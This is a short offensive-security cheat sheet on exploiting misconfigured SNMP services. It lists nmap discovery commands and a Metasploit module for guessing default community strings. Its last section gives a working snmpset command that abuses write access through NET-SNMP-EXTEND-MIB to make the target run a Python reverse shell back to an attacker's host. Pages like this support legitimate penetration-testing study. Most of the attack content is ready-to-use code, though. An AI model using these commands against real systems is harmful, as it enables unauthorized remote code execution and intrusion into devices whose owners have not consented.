# Simple Network Management Protocol (SNMP)

The SNMP protocol provides a way for devices on a network to share information with one another. As an attacker, we can sometimes leverage a misconfigured SNMP service to obtain detailed information about the system and/or execute arbitrary code. 

### Exploitation

#### Identifying SNMP on a Network

```bash
# Identify SNMP utilizing Nmap
nmap -sU -p161 $hosts 

# Identify SNMP and retrieve server type / operating system with Nmap
nmap -sU -p161 $hosts --script=snmp-sysdescr
```

#### Identifying Default Community Strings

```bash
# Identify Default Community Strings with Metasploit
auxiliary/scanner/snmp/snmp_login
```

#### Exploiting SNMP with Write Access

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $targetip \ 
 'nsExtendStatus."evil"' = createAndGo \
 'nsExtendCommand."evil"' = /usr/bin/python \
 'nsExtendArgs."evil"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"$ip\",$port));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

### References

{% embed url="<https://www.blackhillsinfosec.com/snmp-strings-attached/>" %}


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